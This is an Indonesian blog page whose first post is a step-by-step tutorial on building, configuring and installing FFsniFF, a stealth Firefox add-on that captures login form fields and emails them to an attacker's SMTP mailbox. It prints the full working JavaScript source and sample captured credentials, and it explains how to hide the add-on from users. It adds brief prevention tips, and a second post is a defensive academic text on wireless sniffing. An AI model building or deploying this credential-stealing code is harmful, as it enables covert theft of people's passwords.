Tampilkan postingan dengan label kejahatan jaringan teknik sniffing. Tampilkan semua postingan
Tampilkan postingan dengan label kejahatan jaringan teknik sniffing. Tampilkan semua postingan

hacking password pakai firefox sniffing

Firefox adalah browser andalan saya, terutama untuk urusan penetration testing. Firefox memiliki banyak sekali addon/extension yang sangat membantu untuk bermacam-macam urusan. Namun tidak semua addon membantu pengguna, ada juga addon yang menyadap dan mengirimkan username/password pengguna ketika login ke email attacker, addon itu adalah FFsniFF.

Dalam artikel ini saya akan menunjukkan simulasi penyadapan password di browser korban dan mengirimkan hasil sadapannya ke email saya di ilmuhacking.com. Setelah itu saya akan jelaskan cara kerja FFsniFF dengan membedah source codenya.


Sekilas tentang addons Firefox

Addon firefox adalah program dalam javascript yang diload dan diaktifkan setiap firefox dijalankan. Addon ini diperlukan untuk melakukan hal-hal yang tidak disediakan oleh firefox (firefox hanya menyediakan fungsi-fungsi dasar saja). Antarmuka addon ada yang berbentuk ikon di status bar, toolbar atau boleh juga tidak memiliki antarmuka sama sekali. FFsniFF adalah contoh addon yang tidak memiliki antarmuka pengguna sama sekali, hal ini bisa dimaklumi karena memang addon ini harus bersifat stealth.

Addon dipaketkan dan disebarkan dalam bentuk file ZIP, namun ekstensi filenya bukan zip melainkan XPI (dibaca “zippy”). Dalam file xpi tersebut ada banyak file dan folder lain seperti source code javascript, gambar dan file xml deskriptor. File-file yang umumnya ada dalam sebuah paket zippy adalah:

1

2
3
4
5
6
7
8
9
10
11
exampleExt.xpi:

/install.rdf
/components/*
/components/cmdline.js
/defaults/
/defaults/preferences/*.js
/plugins/*
/chrome.manifest
/chrome/icons/default/*
/chrome/
/chrome/content/

install.rdf adalah deskriptor untuk keperluan instalasi. Selain itu di dalam paket itu juga ada file javascript yang berisi kode program yang menjalankan fungsi addon. Selebihnya adalah file-file untuk menangani user interface addon.

Membuat paket instalasi ffsniff.xpi

Langkah awal saya harus membuat paket instalasi addon ffsniff.xpi. Untuk itu saya harus mengunduh file sumber FFsniFF dari http://azurit.elbiahosting.sk/ffsniff/. Setelah diunduh, file tar.gz itu harus dimekarkan. Isi dari paket itu setelah dimekarkan adalah:

1

2
3
4
5
6
7
8
9
pkg_creator.py

src/
src/install.rdf
src/chrome/
src/chrome/content/
src/chrome/content/ffsniff/
src/chrome/content/ffsniff/ffsniffOverlay.xul
src/chrome/content/ffsniff/ffsniffOverlay_orig.js
src/chrome/content/ffsniff/contents.rdf

File tar.gz itu tidak bisa langsung diinstall ke firefox karena masih berbentuk kumpulan file yang harus diubah dan dibungkus menjadi paket zippy (xpi). Sebenarnya untuk membuat paket zippy sudah disediakan script pkg_creator.py dalam bahasa python, namun dalam artikel ini saya tidak memakai script itu agar saya bisa menunjukkan bagaimana proses pembuatan file xpi dari source code.

Setelah source berhasil didownload, berikutnya saya harus membuat file ffsniffOverlay.js, caranya adalah dengan mengcopy file ffsniffOverlay_orig.js dalam nama ffsniffOverlay.js. Setelah itu ffsniffOverlay.js akan saya edit untuk mengubah beberapa variabel berikut:

1

2
3
4
5
6
7
var send_from_host = "";

var send_from = "";
var send_to = "";
var subject = "";
var smtp_host = "";
var smtp_port = "";
var enable_hide = "";

Konfigurasi smtp untuk @ilmuhacking.com

MX record ilmuhacking.com

MX record ilmuhacking.com

Variabel-variabel tersebut adalah parameter untuk mengirim email melalui smtp. smtp_host berisi alamat smtp server yang dipakai untuk mengirim email. Sebaiknya gunakan smtp server yang bertanggung jawab untuk domain email yang kita tuju, dalam kasus ini domain email tujuan adalah @ilmuhacking.com. Oleh karena itu saya harus mencari smtp server yang bertanggung jawab untuk domain ilmuhacking.com. Cara mencarinya adalah dengan melihat MX record dari DNS ilmuhacking.com. Anda bisa gunakan layanan dnswatch.info untuk mencari MX record ilmuhacking.com. Perhatikan gambar di samping, terlihat bahwa ternyata smtp server untuk ilmuhacking.com berada di host yang sama, jadi smtp_host saya isi dengan ilmuhacking.com. Pada domain lain biasanya mail server adalah mail.domainanda.com.

send_from dan send_to saya isi dengan nilai yang sama, yaitu testing@ilmuhacking.com, alamat itu adalah alamat email asal dan tujuan. Perhatikan bahwa domain email sumber dan tujuan harus dalam domain yang sama (ilmuhacking.com) karena smtp server umumnya tidak bersedia mengirimkan email ke domain lain (istilahnya open relay) bila pengirim tidak memasukkan password dulu (anonymous).

enable_hide sengaja saya isi “no” untuk kemudahan, dalam kasus nyata variabel ini harus diisi dengan “yes” agar tersembunyi dari daftar addon sehingga tidak membuat korban curiga. Bila anda masih coba-coba, sebaiknya isi dulu dengan “no”.

smtp_port adalah port smtp server, port standar untuk layanan smtp adalah 25. subject adalah subject dari email yang akan berisi password korban.

1

2
3
4
5
6
7
var send_from_host = "ilmuhacking.com";

var send_from = "testing@ilmuhacking.com";
var send_to = "testing@ilmuhacking.com";
var subject = "Log Firefox Sniffer";
var smtp_host = "ilmuhacking.com";
var smtp_port = "25";
var enable_hide = "no";

Konfigurasi smtp untuk @telkom.net

Agar lebih memahami tentang konfigurasi email ini, saya beri contoh lain dengan email tujuan ke telkom.net.Dengan cara yang sama saya harus membaca MX record dari domain telkom.net, ternyata MX record untuk telkom.net ada 2: mx1.mail.plasa.com dan mx2.mail.plasa.com. Terserah mau pilih yang mana saja. Karena memakai smtp server telkom.net, email tujuan harus berada di domain @telkom.net, di sini saya pakai rizki.wicaksono@telkom.net. Alamat asal saya isi sama dengan email tujuan. Ini berarti saya mengirim email dari dan ke email yang sama, itu tidak masalah. send_from_host saya isi dengan telkom.net karena ini adalah domain. Jadi konfigurasi smtp untuk email tujuan @telkom.net adalah sebagai berikut:

1

2
3
4
5
6
7
var send_from_host = "telkom.net";

var send_from = "rizki.wicaksono@telkom.net";
var send_to = "rizki.wicaksono@telkom.net";
var subject = "Log Firefox Sniffer";
var smtp_host = "mx1.mail.plasa.com";
var smtp_port = "25";
var enable_hide = "no";

Membuat file ffsniff.jar

Setelah variabel-variabel di file ffsniffOverlay.js sudah diubah, langkah berikutnya adalah membuat file ffsniff.jar. Walaupun ekstensi filenya adalah jar, sebenarnya ini adalah file zip biasa. File-file yang dimasukkan dalam ffsniff.jar adalah:

content/ffsniff/contents.rdf

content/ffsniff/ffsniffOverlay.js
content/ffsniff/ffsniffOverlay.xul

Hasil file ffsniff.jar harus mengikutsertakan folder content/ffsniff, tidak boleh 3 file itu dizip tanpa mengikutsertakan foldernya. Jadi untuk membuat file ffsniff.jar harus berada di parent folder dari content/ffsniff. Anda bebas menggunakan program apa saja untuk kompresi zip ini, saya sendiri memakai WinRAR. Ketika dibuka dengan WINRAR isi dari ffsniff.jar tampak seperti gambar di bawah ini, perhatikan kolom pathnya harus berisi seperti itu.

ffsniff.jar list files

ffsniff.jar list files


Membuat file ffsniff.xpi

Setelah mendapatkan file ffsniff.jar, selanjutnya saya harus membuat paket instalasi ffsniff.xpi. File ini juga file zip biasa, walaupun ekstensinya .xpi. Isi file ffsniff.xpi adalah dua file berikut:

install.rdf

chrome/ffsniff.jar

Jangan lupa juga ffsniff.jar harus dizip dalam folder chrome. Gambar di bawah ini menunjukkan ffsniff.xpi yang dibuka dengan winrar, perhatikan juga kolom pathnya harus tepat seperti itu.

ffsniff.xpi file list

ffsniff.xpi file list


Instalasi Firefox Sniffer

Oke, kini selesai sudah proses pembuatan file instalasi addon FFsniffer. Kini saya bisa menginstall addon tersebut. Cara instalasi file xpi adalah dengan membuka Firefox, kemudian memasukkan path lokasi file xpi pada addressbar firefox. Setelah muncul daftar file di firefox, klik file xpi yang akan diinstall. Cara instalasi FFsniFF diperlihatkan pada gambar di bawah ini. Setelah berhasil install jangan lupa untuk restart firefox anda.

instalasi firefox sniffer

instalasi firefox sniffer

Mencoba login ke yahoo

Kini saya akan mencoba login ke yahoo dengan username rizkiwicaksono. Setelah login, saya periksa inbox email testing@ilmuhacking.com. Ternyata email hasil sniff password ketika login ke yahoo sudah masuk. Isi emailnya terlihat pada gambar di bawah ini.

log sniffer email

log sniffer email

Dalam email tersebut terlihat bahwa FFsniff tidak hanya mencatat username dan password tapi semua field dengan tag input (input type=”xxx”) dari form, yaitu: password field, hidden field, text field, checkbox. Selain itu FFsniff juga mencatat URL, nama field, jenis dan nilainya. FFsniFF hanya mengirimkan field yang ada isinya, bila field tersebut kosong, field tersebut tidak akan dikirim.

Email Sniffer Log

Mari kita perhatikan email yang dikirimkan FFsniFF. Header lengkap email yang dikirim FFsniff adalah sebagai berikut:

1

2
3
4
5
6
7
8
9
Return-path: 

Envelope-to: testing@ilmuhacking.com
Delivery-date: Fri, 27 Feb 2009 03:23:48 -0600
Received: from [202.43.xxx.xxx] (port=23982 helo=ilmuhacking.com)
by gator669.hostgator.com with esmtp (Exim 4.69)
(envelope-from )
id 1Lcywa-0002DK-Jj
for testing@ilmuhacking.com; Fri, 27 Feb 2009 03:23:48 -0600
Subject: Log Firefox Sniffer

Dalam email tersebut hanya ada 1 header Received, yaitu dari host 202.43.xxx.xxx (ip lengkap saya sensor). Hal ini menunjukkan bahwa smtp server yang saya pakai kebetulan adalah smtp server yang paling dekat dengan si penerima sehingga tidak perlu dioper ke smtp server lain. Berikut ini adalah header email FFsniFF yang dikirim ke telkom.net:

Return-Path: 

Received: from [125.160.17.193] (HELO mx1.mail.telkom.net)
by f1.c.plasa.com (CommuniGate Pro SMTP 4.3.9)
with ESMTPS id 690188427 for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:05:27 +0700
Received: from mx1.mail.plasa.com ([222.124.18.71])
by mx1.mail.telkom.net with esmtp id 1LeiKy-0001qP-O1
for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:04:20 +0700
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AggYAH+MrUnKK6ce/2dsb2JhbACBTosbIQGGVoIPsFshAQKSPQEDgSwG
X-IronPort-AV: E=McAfee;i="5300,2777,5542"; a="119895912"
Received: from xxxxdtp.net.id (HELO telkom.net) ([202.43.xx.xx])
by mx1.mail.plasa.com with ESMTP; 04 Mar 2009 11:02:49 +0700
Subject: Log Firefox Sniffer
X-HAM-Check: YES
Date: Wed, 04 Mar 2009 11:05:27 +0700
Message-ID:

Dalam email ke telkom.net ada 3 header Received. Yang pertama adalah mx1.mail.plasa.com, ini adalah smtp server yang saya pakai di FFsniFF. Kemudian dari situ email dioper ke mx1.mail.telkom.net, dan terakhir dioper lagi ke f1.c.plasa.com, yang merupakan smtp server yang paling dekat dengan si penerima. Jadi sebenarnya saya bisa juga langsung mengirim email ke telkom.net dengan menggunakan smtp server f1.c.plasa.com. Namun karena MX record telkom.net menunjuk ke mx1.mail.telkom.net lebih baik saya pakai smtp server itu, walaupun perlu dioper sebanyak 2 kali untuk sampai di tujuan.

FFsniff mengirimkan email tersebut secara anonymous, artinya ffsniff tidak melakukan authentication sebelum mengirimkan email. SMTP server tidak mungkin menolak email yang ditujukan untuk domain yang dikelola dirinya sendiri, walaupun pengirimnya adalah anonymous (tanpa authentication), sebab bila smtp server menolak email untuk dirinya sendiri maka orang lain tidak akan bisa mengirim email ke domain itu.

Karena dikirimkan secara anonymous maka email tersebut tidak bisa ditujukan ke domain lain selain ilmuhacking.com karena smtp server tersebut kemungkinan besar akan menolak dijadikan titik relay pengiriman email ke domain lain. Bila ingin mengirimkan email untuk domain lain tidak bisa secara anonymous, sebelumnya harus memasukkan perintah smtp AUTH LOGIN dan memasukkan username/password dalam base64. Saya tidak akan menjelaskan terlalu panjang soal email, di lain kesempatan akan saya bahas detil cara kerja email.

Pencegahan

Bad guys already know about FFsniff since 3 years ago

FFsniff diciptakan pada bulan maret 2006, tepat 3 tahun yang lalu sehingga addon ini sudah dikenal luas sebagai salah satu tools hacking. Sekarang bagaimana caranya agar kita tidak menjadi korban addon ini?
Berikut ini tips agar tidak menjadi korban FFsniff:

  • Jangan sembarangan menginstall addon yang tidak anda kenal. Install addon hanya dari situs resmi Firefox Addon https://addons.mozilla.org/
  • Install Addon hanya dari situs yang menggunakan https. Penggunaan https ini sangat penting agar anda tidak tersesat mengakses situs palsu yang berusaha memberikan anda addon yang sudah diracuni spyware. Mengenai pentingnya https ini bisa anda baca di artikel: understanding https
  • firefox safe mode

    firefox safe mode

  • Bila anda berada di komputer publik, gunakan Firefox dalam Safe Mode (mode aman). Mode ini adalah mode menjalankan firefox dengan mematikan semua addon yang ada.
  • Walaupun FFsniFF dapat menyembunyikan diri dari daftar addon Firefox, namun tetap saja dia tidak mungkin bisa bersembunyi di file system. Jika anda ragu apakah firefox anda bersih dari FFsniFF, silakan buka folder Profile Mozilla Firefox anda. Biasanya di:
  • 1
    
    C:\Documents and Settings\\Application Data\Mozilla\Firefox\Profiles\\extensions\
    firefox extension folder

    firefox extension folder

    Kemudian perhatikan file install.rdf, dalam file itu terlihat nama dan deskripsi addon. Atau anda juga bisa melihat folder di dalamnya lagi untuk membaca file dot js dari ffsniff.

    How FFsniff Works

    Saya telah menunjukkan mulai dari mengunduh, menginstall dan kemudian mendapatkan password ketika ada yang login di firefox yang telah dipasang addon ini. Kini saatnya saya menjelaskan cara kerja FFsniff ini. Inti dari FFsniff ini ada pada file ffsniffOverlay.js. File ini berisi semua code yang melakukan sniffing. Berikut adalah source code lengkap ffsniffOverlay.js.

    1
    
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    var transportService = Components.classes["@mozilla.org/network/socket-transport-service;1"].getService(Components.interfaces.nsISocketTransportService);
    
    var transport = "";
    var outstream = "";
    var instream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream);
    var stream = "";
    // find out FF version
    var appInfo = Components.classes["@mozilla.org/xre/app-info;1"].getService(Components.interfaces.nsIXULAppInfo);
    var versionChecker = Components.classes["@mozilla.org/xpcom/version-comparator;1"].getService(Components.interfaces.nsIVersionComparator);

    var data = "";
    var data0 = "EHLO " + send_from_host + "\r\n"
    var data1 = "MAIL FROM: <" + send_from + ">\r\n"
    var data2 = "RCPT TO: <" + send_to + ">\r\n"
    var data3 = "DATA\r\n"
    var data4 = "\r\n.\r\n"
    var data5 = "QUIT\r\n"
    function send_data() {
    transport = transportService.createTransport(null, 0, smtp_host, smtp_port, null);
    outstream = transport.openOutputStream(0, 0, 0);
    stream = transport.openInputStream(0, 0, 0);
    instream.init(stream);

    // this will avoid 'Improper use of SMTP command pipelining'
    // error on SMTP servers
    outstream.write(data0, data0.length);
    while (instream.available() == 0) {}
    instream.read(instream.available());

    outstream.write(data1, data1.length);
    while (instream.available() == 0) {}
    instream.read(instream.available());

    outstream.write(data2, data2.length);
    while (instream.available() == 0) {}
    instream.read(instream.available());

    outstream.write(data3, data3.length);
    while (instream.available() == 0) {}
    instream.read(instream.available());

    outstream.write(data, data.length);
    // don't read here cos no data was send to us
    //while (instream.available() == 0) {}
    //instream.read(instream.available());

    outstream.write(data4, data4.length);
    while (instream.available() == 0) {}
    instream.read(instream.available());

    outstream.write(data5, data5.length);
    while (instream.available() == 0) {}

    outstream.close();
    instream.close();
    }
    if (versionChecker.compare(appInfo.version, "3.0") >= 0) {
    var workingThread = function() {
    };

    workingThread.prototype = {
    run: function() {
    send_data();
    }
    };
    } else {
    var runnable = {
    run: function() {
    send_data();
    }
    }
    }
    function sniff() {
    // if we are running under 3.0 or later
    if (versionChecker.compare(appInfo.version, "3.0") >= 0) {
    var thread = Components.classes["@mozilla.org/thread-manager;1"].getService().newThread(0);
    thread.dispatch(new workingThread(), thread.DISPATCH_NORMAL);
    } else {
    var thread = Components.classes["@mozilla.org/thread;1"].getService(Components.interfaces.nsIThread);
    thread.init(runnable, 512*1024, Components.interfaces.nsIThread.PRIORITY_NORMAL, Components.interfaces.nsIThread.SCOPE_LOCAL, Components.interfaces.nsIThread.STATE_UNJOINABLE);
    }
    }

    function do_sniff() {
    var ok = 0;
    var hesla = window.content.document.getElementsByTagName("input");
    data = "";
    for (var i = 0; i < hesla.length; i++) {
    if (hesla[i].value != "") {
    if (hesla[i].type == "password") {
    ok = 1;
    }
    if (hesla[i].name == "") {
    data += hesla[i].type + ":" + ":" + hesla[i].value + "\n";
    }
    else {
    data += hesla[i].type + ":" + hesla[i].name +":" + hesla[i].value + "\n";
    }
    }
    }
    if (ok == 1) {
    data = "Subject: " + subject + "\r\n\r\n" + window.top.content.document.location + "\n" + "type:name:value\n" + "---------------\n" + data;
    sniff()
    }
    }
    function hide_me() {
    var RDFService = Components.classes["@mozilla.org/rdf/rdf-service;1"].getService(Components.interfaces.nsIRDFService);
    var Container = Components.classes["@mozilla.org/rdf/container;1"].createInstance(Components.interfaces.nsIRDFContainer);
    var extensionDS = Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).datasource;
    var root = RDFService.GetResource("urn:mozilla:item:root");
    var nameArc = RDFService.GetResource("http://www.mozilla.org/2004/em-rdf#name");
    Container.Init(extensionDS, root);
    var elements = Container.GetElements();
    while (elements.hasMoreElements()) {
    var element = elements.getNext();
    var name = "";
    var target = extensionDS.GetTarget(element, nameArc, true);
    if (target) {
    name = target.QueryInterface(Components.interfaces.nsIRDFLiteral).Value;
    if (name == "FFsniFF") {
    Container.RemoveElement(element, true);
    }
    }
    }
    }
    if (enable_hide == "yes") {
    hide_me();
    }
    window.addEventListener("submit", do_sniff, false);

    Perhatikan baris ke-127 pada source di atas, bila enable_hide diset “yes”, maka ffsniff akan menjalankan fungsi hide_me(). hide_me() bertugas menghilangkan FFsniff dari daftar addon agar kehadirannya tidak disadari pengguna. Cara menyembunyikan diri adalah dengan cara menjalankan fungsi Container.RemoveElement (baris ke-122) hanya bila element itu bernama “FFsniFF”.

    how ffsniff works

    how ffsniff works

    Fungsi sniffing sesungguhnya ada pada baris terakhir. Pada baris terakhir, terdapat fungsi addEventListener(). Fungsi ini berguna untuk mengaitkan event submit dengan fungsi do_sniff. Artinya fungsi do_sniff akan dijalankan setiap kali terjadi event submit. Event submit akan terjadi bila ada request POST di browser, antara lain dengan melalui klik tombol bertipe submit (input type=”submit”). Namun tidak hanya melalui klik saja, submit bisa juga dilakukan oleh javascript. Dengan cara apapun, bila terjadi request POST di browser, event submit akan terjadi, dan artinya fungsi do_sniff juga akan dipanggil. Untuk lebih jelasnya perhatikan gambar di atas.

    Kini fokus perhatian kita pindah ke fungsi do_sniff (baris ke-84). Dalam fungsi sniff, ffsniffer mengambil daftar semua tag yang ada dengan fungsi window.content.document.getElementsByTagName(“input”). Kemudian semua field tersebut akan digabung dalam variabel string data. Hanya bila dalam form tersebut terdapat password field (input type=”password”), maka ffsniffer akan mengirimkan email, bila hanya form biasa (bukan form login), ffsniffer tidak akan mengirim email.

    Bila mengandung password field, berikutnya fungsi sniff (baris ke-73) akan dijalankan. Fungsi sniff ini tugasnya hanya membuat dan menjalankan thread. Thread tersebut bertugas melakukan pengiriman email dengan memanggil fungsi send_data (baris ke-17). Fungsi send_data akan membuka koneksi tcp ke smtp server, kemudian mengirimkan perintah smtp untuk mengirim email. Dengan menggunakan sniffer Wireshark, berikut adalah komunikasi yang terjadi ketika email dikirim ke telkom.net:

    1
    
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    220-mx1.mail.plasa.com ESMTP
    
    220 UBE, porn, and abusive content not allowed
    EHLO telkom.net
    250-mx1.mail.plasa.com
    250-8BITMIME
    250 SIZE 20971520
    MAIL FROM:
    250 sender ok
    RCPT TO:
    250 recipient ok
    DATA
    354 go ahead
    Subject: Log Firefox Sniffer

    https://login.yahoo.com/config/login?
    type:name:value
    ---------------
    hidden:.tries:2
    hidden:.intl:us
    hidden:.u:6220o3t4qrv31
    hidden:.v:0
    hidden:.challenge:Uhh09ZXeYC4rgGkrSkirh.TXeHk_
    hidden:hasMsgr:0
    hidden:.chkP:Y
    hidden:.done:http://my.yahoo.com
    hidden:.pd:_ver=0&c=&ivt=&sg=
    text:login:rizkiwicaksono
    password:passwd:inipasswordku
    checkbox:.persistent:y
    submit:.save:Sign In
    .
    250 ok: Message 119895912 accepted
    221 mx1.mail.plasa.com
    QUIT

    Sedangkan komunikasi yang terjadi ketika email dikirim ke @ilmuhacking.com adalah:

    220-gator669.hostgator.com ESMTP Exim 4.69 #1 Tue, 03 Mar 2009 22:15:33 -0600
    
    220-We do not authorize the use of this system to transport unsolicited,
    220 and/or bulk e-mail.
    EHLO ilmuhacking.com
    250-gator669.hostgator.com Hello ilmuhacking.com [202.43.xxx.xxx]
    250-SIZE 52428800
    250-PIPELINING
    250-AUTH PLAIN LOGIN
    250-STARTTLS
    250 HELP
    MAIL FROM:
    250 OK
    RCPT TO:
    250 Accepted
    DATA
    354 Enter message, ending with "." on a line by itself
    Subject: Log Firefox Sniffer

    https://login.yahoo.com/config/login?
    type:name:value
    ---------------
    hidden:.tries:1
    hidden:.intl:us
    hidden:.u:eljvtc94qs023
    hidden:.v:0
    hidden:.challenge:7FWzfTnmnC3Njv1YadcWnM61LyIw
    hidden:hasMsgr:0
    hidden:.chkP:Y
    hidden:.done:http://my.yahoo.com
    hidden:.pd:_ver=0&c=&ivt=&sg=
    text:login:rizkiwicaksono
    password:passwd:inipasswordakujuga
    checkbox:.persistent:y
    submit:.save:Sign In
    .
    250 OK id=1LeiW6-0002zu-LA
    QUIT
    221 gator669.hostgator.com closing connection

    Dengan selesainya eksekusi send_data() maka ffsniff telah selesai menjalankan tugasnya mengirim email. Selanjutnya ffsniff akan “tidur” menunggu dipanggil oleh event submit dan mulai kembali proses penyadapan password

kejahatan jaringan teknik sniffing

WIRELESS SECURITY
Oleh:
M. RUDYANTO ARIEF1
1 M.Rudyanto Arief, M.T.
JURUSAN TEKNIK INFORMATIKA
STMIK AMIKOM YOGYAKARTA
2009

Jaringan wireless sangat rentan terhadap serangan, hal ini disebabkan karena
jaringan dengan teknologi ini tidak dapat dibatasi oleh sebuah gedung seperti yang
ada di jaringan berbasis kabel yang terlindungi oleh tembok didalam sebuah gedung
dimana jaringan berbasis kabel tersebut terpasang. Sinyal frekuensi radio yang
digunakan oleh jaringan wireless dalam melakukan proses transmisi data didalam
jaringan tersebut dapat saja dengan mudah di terima/ di tangkap oleh pengguna
komputer lain selain pengguna jaringan wireless tersebut hanya dengan
menggunakan kartu jaringan wireless yang kompatibel/ cocok dengan jaringan
wireless tersebut yang terpasang pada komputer pengguna komputer tersebut.
Celah keamanan pada jaringan wireless dapat dibagi kedalam 2 (dua) jenis
serangan, yaitu: serangan pasif (passive attack) dan serangan aktif (active attack).
Serangan Pasif (Passive Attack)
Serangan pasif adalah jenis serangan yang sesungguhnya tidak membahayakan
terhadap sebuah sistem jaringan. Jenis serangan ini tidak menyebabkan hilangnya
sumber daya dalam sebuah jaringan maupun menyebabkan kerusakan terhadap
sebuah sistem jaringan yang di serang menggunakan jenis serangan ini. Sumber
daya yang terdapat dalam sistem jaringan diantaranya berupa data, bandwidth
jaringan, printer, memori dalam sebuah komputer, unit pengolah (prosesor) dan
masih banyak lagi. Intinya jenis serangan ini hanya melakukan pengamatan terhadap
semua sumber daya yang terdapat dalam sebuah sistem jaringan komputer. seperti
memantau lalu lintas jaringan sebuah sistem jaringan komputer. Informasi yang
dihasilkan dari hasil pengamatan tersebut sangat bermanfaat bagi pihak yang tidak
berhak untuk melakukan penyerangan selanjutnya terhadap sistem tersebut.
sehingga jenis serangan ini sangat sulit untuk di deteksi oleh pengelola sebuah
sistem jaringan komputer. Komunikasi jaringan tanpa kabel biasanya menggunakan
frekuensi gelombang radio umum yang tidak terdaftar yang dapat di akses oleh
siapapun dengan menggunakan kartu jaringan yang kompatibel. sehingga untuk
jaringan jenis ini sangat mudah untuk di sadap dengan menggunakan teknik “sniffing”
atau “wardriving”. Saat ini banyak “sniffer” menggunakan software seperti
NetStumbler dengan kombinasi antena yang saling bekerja bersama dengan kartu
jaringan tanpa kabel (wireless) untuk mendeteksi jaringan “access point” (AP) yang
berada dalam jangkauan dan sinyalnya dapat diakses kartu jaringan tanpa kabel
tersebut. Kemudian traffic data yang terjadi didalam jaringan wireless tersebut di
tangkap oleh “sniffer” tersebut untuk kemudian di analisis dengan menggunakan tool
seperti Microsoft Network Monitor untuk sistem operasi microsoft windows atau
menggunakan Linux TCPDump untuk sistem operasi Linux.
Gambar 2. Jenis Serangan Pasif (Passive Attack)
Program seperti NetStumbler selain dapat digunakan untuk mendeteksi jaringan
access point yang terdapat dalam jangkauannya juga dapat digunakan untuk
menampilkan informasi yang terdapat pada Service Set Identifiers (SSID) dan
informasi perusahaan pembuat access point tersebut. Sehingga jika Access Point
tetap di konfigurasi masih menggunakan pengaturan SSID default yang disertakan
oleh perusahaan pembuat ketika access point dibeli, maka jaringan wireless yang
menggunakan perangkat access point tersebut sangat rentan terhadap masalah
keamanan.
Jika SSID berisikan informasi mengenai organisasi yang menyediakan layanan
jaringan wireless tersebut atau mungkin saja jaringan tersebut tidak menggunakan
metode pengamanan dengan cara enkripsi seperti Wireless Equivalent Privacy
(WEP) yang mampu melakukan enkripsi terhadap semua traffic data yang terjadi
didalam jaringan wireless tersebut, jika hak tersebut terjadi maka keamanan jaringan
tersebut akan mudah untuk di tembus oleh pihak-pihak yang tidak berkepentingan
(unauthorized user). Sekali seorang “sniffer” berhasil mendapatkan informasi SSID
sebuah access point, maka “sniffer” tersebut dapat memotret lalu lintas dalam
jaringan wireless tersebut dan membuka informasi tentang semua hal dalam jaringan
tersebut, seperti user name dan password. Ketika seorang sniffer berhasil melakukan
pengamatan/ observasi dan menggunakan informasi yang didapat tersebut untuk
masuk kedalam jaringan dan mengakses atau menggunakan sumber daya didalam
sistem tersebut tanpa ijin, maka pada tahapan ini serangan pasif (passive attack)
berubah menjadi jenis serangan aktif (active attack).
Untuk melindungi jaringan wireless terhadap program-program komputer yang
mampu mengeteksi keberadaan sinyal jaringan wireless, maka seorang pengelola
jaringan wireless (administrator) harus melakukan konfigurasi ulang terhadap semua
konfigurasi dasar dari perangkat jaringan wireless tersebut jika konfigurasinya masih
menggunakan konfigurasi standar/ default yang diberikan oleh vendor pembuat
perangkat jaringan wireless tersebut ketika perangkat tersebut pertama kali dibeli.
Diantaranya adalah dengan menerapkan sistem keamanan tertutup yaitu dengan
cara melakukan konfigurasi agar sebuah Access Point tidak dapat merespon
permintaan koneksi (request) terhadap status SSID-nya yang biasanya diminta oleh
program-program seperti NetStumbler. Melalui cara ini sebuah access point dalam
sebuah jaringan wireless tetap tidak dapat di deteksi (invisible) oleh pihak-pihak yang
tidak berhak untuk mengakses jaringan wireless tersebut.
Saat ini kebanyakan perangkat access point untuk jaringan wireless sangat mudah
untuk konfigurasinya dengan tujuan untuk memudahkan penggunanya dan
menggunakan jaringan tersebut. Namun dengan segala kemudahan tersebut ternyata
memiliki kelemahan juga. Demi mengutamakan kemudahan konfigurasi, maka
beberapa vendor pembuat access point tidak memberikan sentuhan aspek
keamanan pada konfigurasi dasar yang diberikan pada access point yang mereka
produksi. Hal ini disebabkan karena untuk melakukan konfigurasi terhadap keamanan
jaringan didalam sebuah perangkat access point cukup rumit dan harus
mempertimbangkan banyak aspek. Sehingga jika keamanan jaringan dimasukkan
kedalam konfigurasi dasar perangkat access point tentunya prosesnya tidak mudah
lagi dan membutuhkan keahlian khusus dari user.
Berikut ini beberapa hal dasar yang dapat dilakukan untuk melindungi jaringan
wireless dari serangan pasif maupun serangan aktif:
1. Amankan Router wireless atau Antarmuka Halaman Administrator Access Point.
Hampir semua router dan access point memiliki password untuk administrator
yang dibutuhkan pada saat login kedalam perangkat wireless dan untuk
melakukan pengaturan konfigurasi didalam perangkat access point. Kebanyakan
perangkat access point menggunakan password default yang sangat sederhana
dan tidak aman. Misalnya password dengan kata kunci “password” juga atau
menggunakan kata kunci nama perusahaannya, dan beberapa bahkan tidak
memiliki password sama sekali. Untuk kasus seperti ini, langkah pertama yang
dilakukan oleh seorang administrator ketika melakukan pengaturan pertama kali
terhadap perangkat router wireless atau access point adalah dengan mengganti
password default pada perangkat tersebut dengan password lain yang lebih aman.
Karena password ini jarang sekali digunakan karena untuk melakukan konfigurasi
terhadap perangkat access point biasanya sangat jarang dilakukan, maka
gunakanlah password yang mudah untuk diingat tetapi sulit untuk ditebak atau
dapat juga dengan cara menuliskan password tersebut agar tidak mudah lupa
tetapi disimpan di tempat yang aman jika passsword tersebut memang harus
dituliskan agar tidak lupa. Jika akhirnya password tersebut dilupakan maka satusatunya
cara adalah dengan cara melakukan reset terhadap perangkat access
point tersebut sehingga semua konfigurasinya dikembalikan ke konfigurasi default
seperti semula ketika perangkat wireless tersebut pertama kali dibeli dari vendor.
Sehingga administrator harus melakukan konfigurasi ulang terhadap perangkat
wireless tersebut untuk aspek keamanannya.
Berikut adalah beberapa trik untuk membuat password yang relatif aman:
• password jangan menggunakan informasi pribadi seperti nama, tanggal
lahir.
• password harus mudah diingat tapi sulit untuk ditebak.
• gunakanlah password yang berbeda untuk mengakses sistem yang
berbeda.
• gantilah password secara berkala untuk menghindari serangan terhadap
password menggunakan program “password cracking”.
